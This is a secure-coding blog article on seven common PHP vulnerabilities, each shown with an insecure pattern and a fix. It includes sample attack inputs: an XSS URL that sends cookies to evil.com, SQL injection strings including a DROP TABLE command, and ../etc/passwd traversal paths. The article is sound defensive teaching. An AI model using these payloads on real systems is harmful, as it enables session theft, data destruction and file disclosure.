Zum Inhalt springen

PHP Security Pitfalls: Why $_SERVER['REQUEST_URI'] in Forms is Dangerous

Veröffentlicht am Feb 27, 2026 | ca. 1 Min. Lesezeit |

PHP is one of the most widely used languages on the web, and the attack surface is correspondingly large when implementations are flawed. Many security vulnerabilities do not arise from complex weaknesses, but from simple, widespread code patterns that appear harmless at first glance. This article examines seven classic security pitfalls and shows the secure alternative in each case.


1. XSS via $_SERVER['REQUEST_URI'] in Forms

The Problem

A widely used pattern in older PHP code is directly outputting the current URL as the form action:

<!-- Insecure -->
<form method="post" action="<?php echo $_SERVER['REQUEST_URI']; ?>">

This line looks harmless but opens a classic Cross-Site Scripting (XSS) vulnerability. An attacker can manipulate the URL to embed JavaScript:

https://example.com/contact?"><script>document.location='https://evil.com/?c='+document.cookie</script>

Since $_SERVER['REQUEST_URI'] returns the entire URL string unfiltered, the script lands directly in the HTML source and is executed by the browser. Cookies, session data or other sensitive information can be transmitted to third parties.

The Secure Solution

The value must always be encoded with htmlspecialchars():

<!-- Secure -->
<form method="post" action="<?php echo htmlspecialchars($_SERVER['REQUEST_URI'], ENT_QUOTES, 'UTF-8'); ?>">

Even better is to specify the action URL explicitly rather than reading it dynamically from the current URL:

<!-- Recommended -->
<form method="post" action="/contact">

Ground rule: Any output of user data or external input in HTML must be HTML-encoded.


2. SQL Injection via String Concatenation

The Problem

Directly embedding user input into SQL queries is one of the oldest and most dangerous vulnerabilities:

// Insecure
$username = $_POST['username'];
$result = mysql_query("SELECT * FROM users WHERE username = '" . $username . "'");

An attacker submits as username: ' OR '1'='1

The resulting query is:

SELECT * FROM users WHERE username = '' OR '1'='1'

This returns all records. With more destructive input like '; DROP TABLE users; -- the database can be destroyed.

The Secure Solution

Prepared statements with PDO or MySQLi are the only correct solution:

// Secure with PDO
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username");
$stmt->execute(['username' => $_POST['username']]);
$result = $stmt->fetch();

// Secure with MySQLi
$stmt = $mysqli->prepare("SELECT * FROM users WHERE username = ?");
$stmt->bind_param("s", $_POST['username']);
$stmt->execute();

Prepared statements completely separate SQL code and data. User input is never interpreted as part of the SQL code.


3. Insecure File Uploads

The Problem

File upload functions without sufficient validation allow attackers to upload executable files to the server:

// Insecure
move_uploaded_file(
    $_FILES['upload']['tmp_name'],
    'uploads/' . $_FILES['upload']['name']
);

Problems:

  • The filename comes unchanged from the client and can be ../../../etc/passwd or shell.php
  • The MIME type from $_FILES['upload']['type'] is sent by the client and can be forged
  • An uploaded PHP file can be executed directly if the upload directory is under the webroot

The Secure Solution

// Secure
$allowedExtensions = ['jpg', 'jpeg', 'png', 'gif', 'pdf'];
$allowedMimeTypes  = ['image/jpeg', 'image/png', 'image/gif', 'application/pdf'];

$originalName = $_FILES['upload']['name'];
$extension    = strtolower(pathinfo($originalName, PATHINFO_EXTENSION));

if (!in_array($extension, $allowedExtensions, true)) {
    throw new RuntimeException('File type not allowed.');
}

// Check MIME type server-side (do not trust client)
$finfo    = new finfo(FILEINFO_MIME_TYPE);
$mimeType = $finfo->file($_FILES['upload']['tmp_name']);

if (!in_array($mimeType, $allowedMimeTypes, true)) {
    throw new RuntimeException('Invalid MIME type.');
}

// Generate a random, safe filename
$safeName = bin2hex(random_bytes(16)) . '.' . $extension;

// Upload directory outside webroot or with PHP execution disabled
move_uploaded_file($_FILES['upload']['tmp_name'], '/var/uploads/' . $safeName);

4. Session Fixation and Session Hijacking

The Problem

Session fixation occurs when a session ID is not renewed before authentication:

// Insecure: session ID remains the same after login
session_start();
if (login_valid($_POST['user'], $_POST['pass'])) {
    $_SESSION['user'] = $_POST['user'];
}

An attacker can inject a known session ID into the URL. Once a victim authenticates, the session is valid under the known ID and the attacker takes over the session.

The Secure Solution

// Secure: regenerate session ID after login
session_start();

if (login_valid($_POST['user'], $_POST['pass'])) {
    session_regenerate_id(true);
    $_SESSION['user'] = $_POST['user'];
}

Additional measures:

session_set_cookie_params([
    'lifetime' => 0,
    'path'     => '/',
    'secure'   => true,
    'httponly' => true,
    'samesite' => 'Lax',
]);
session_start();

5. Insecure Password Storage

The Problem

MD5 and SHA1 have been considered insecure for password storage for years:

// Insecure
$hash = md5($_POST['password']);
$hash = sha1($_POST['password']);

Both algorithms are fast to compute. Modern graphics cards can calculate billions of hashes per second, making rainbow table attacks and brute-force attacks practical in a short time.

The Secure Solution

PHP has provided password_hash() since version 5.5, which automatically uses a strong algorithm and a random salt:

// Secure: hash the password
$hash = password_hash($_POST['password'], PASSWORD_BCRYPT);
// Or stronger:
$hash = password_hash($_POST['password'], PASSWORD_ARGON2ID);

// Verify password
if (password_verify($_POST['password'], $storedHash)) {
    // Login successful
}

password_verify() is implemented in a timing-safe manner and prevents timing attacks.


6. CSRF Without Token Protection

The Problem

Cross-Site Request Forgery (CSRF) exploits the fact that browsers automatically send cookies with every request:

// Insecure: action without CSRF protection
if ($_POST['action'] === 'delete_account') {
    delete_account($_SESSION['user_id']);
}

A third-party website can contain a hidden form that submits automatically, executing the action with the victim's credentials.

The Secure Solution

function generate_csrf_token(): string {
    if (empty($_SESSION['csrf_token'])) {
        $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
    }
    return $_SESSION['csrf_token'];
}

function validate_csrf_token(string $token): bool {
    return isset($_SESSION['csrf_token'])
        && hash_equals($_SESSION['csrf_token'], $token);
}

// In the form
echo '<input type="hidden" name="csrf_token" value="'
    . htmlspecialchars(generate_csrf_token(), ENT_QUOTES, 'UTF-8') . '">';

// On processing
if (!validate_csrf_token($_POST['csrf_token'] ?? '')) {
    http_response_code(403);
    exit('Invalid CSRF token.');
}

7. Directory Traversal in include/require

The Problem

If a filename from user input is passed directly to include or require, an attacker can read arbitrary files:

// Insecure
$page = $_GET['page'];
include('templates/' . $page . '.php');

A request with ?page=../../../../etc/passwd can expose system files.

The Secure Solution

// Secure: whitelist of allowed pages
$allowedPages = ['home', 'about', 'contact', 'blog'];
$page = $_GET['page'] ?? 'home';

if (!in_array($page, $allowedPages, true)) {
    $page = 'home';
}

include('templates/' . $page . '.php');

Or using realpath() to enforce directory boundaries:

$basePath = realpath(__DIR__ . '/templates');
$filePath = realpath($basePath . '/' . $page . '.php');

if ($filePath === false || !str_starts_with($filePath, $basePath)) {
    http_response_code(400);
    exit('Invalid page.');
}

include($filePath);

Summary

Vulnerability Insecure Pattern Secure Alternative
XSS echo $_SERVER['REQUEST_URI'] htmlspecialchars()
SQL Injection String concatenation in queries Prepared Statements (PDO/MySQLi)
File Upload Uncontrolled upload Whitelist + server-side MIME check + random filename
Session Fixation Session ID unchanged after login session_regenerate_id(true)
Password Hashing MD5 / SHA1 password_hash() with bcrypt or Argon2id
CSRF Form without token CSRF token with hash_equals()
Directory Traversal include with GET parameter Whitelist or realpath() check

Security comes from consistently applying proven patterns, not from retrofitting protection. Anyone who takes these seven ground rules into account from the start avoids the majority of vulnerabilities commonly found in PHP projects.

Thomas Wunner

Thomas Wunner

Certified IT specialist for application development with an instructor qualification and over 14 years of experience building scalable web applications with Symfony and Shopware. When not coding, Thomas volunteers as a lifeguard with the Wasserwacht, performs as a DJ, and explores the countryside on his motorbike.

Kommentare

Kommentare werden von Remark42 bereitgestellt. Beim Laden werden Daten an unseren Kommentar-Server übertragen.